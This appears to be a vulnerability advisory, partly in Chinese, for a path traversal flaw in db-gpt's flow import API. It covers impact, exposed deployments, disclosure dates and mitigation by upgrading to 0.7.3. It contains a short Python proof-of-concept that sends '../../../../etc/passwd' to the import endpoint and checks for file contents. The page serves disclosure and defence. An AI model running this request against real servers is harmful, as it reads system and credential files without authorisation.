eosphoros-ai db-gpt import import_flow 路径遍历漏洞

该路径遍历漏洞允许攻击者绕过正常的访问控制机制，读取或写入服务器上的任意文件。攻击者可以利用此漏洞获取敏感信息，例如配置文件、数据库凭据或源代码。更严重的后果包括攻击者能够修改系统文件，导致服务中断或完全控制服务器。由于漏洞利用程序已公开，攻击者可以轻松地利用此漏洞，造成重大安全风险。攻击者可能利用此漏洞进行数据泄露、权限提升和进一步的横向移动。

Organizations deploying db-gpt in production environments, particularly those with publicly accessible API endpoints, are at risk. Shared hosting environments where multiple users share the same server instance are also particularly vulnerable, as a compromise of one user's instance could lead to access to other users' data. Systems using older, unpatched versions of db-gpt are most susceptible.

• python / server:

import os
import requests

url = 'http://your-db-gpt-server/api/v2/serve/awel/flow/import'

# Attempt path traversal
file_param = 'File=../../../../etc/passwd'

# Send the request
response = requests.post(url, data={'import_flow': file_param})

# Check for sensitive file content in the response
if 'root:' in response.text:
    print('Potential Path Traversal Detected!')
else:
    print('No Path Traversal Detected.')

1. 2025-06-27Disclosure

   disclosure

1. 已保留2025-06-27
2. 发布日期2025-06-27
3. EPSS 更新日期2026-03-23

最有效的缓解措施是立即将 db-gpt 升级至 0.7.3 或更高版本，该版本修复了此漏洞。如果无法立即升级，可以考虑使用 Web 应用防火墙 (WAF) 或反向代理来过滤恶意请求，阻止对敏感文件的访问。此外，应审查和强化服务器的访问控制策略，确保只有授权用户才能访问关键文件和目录。监控系统日志，查找任何异常的文件访问活动，有助于及早发现和响应潜在的攻击。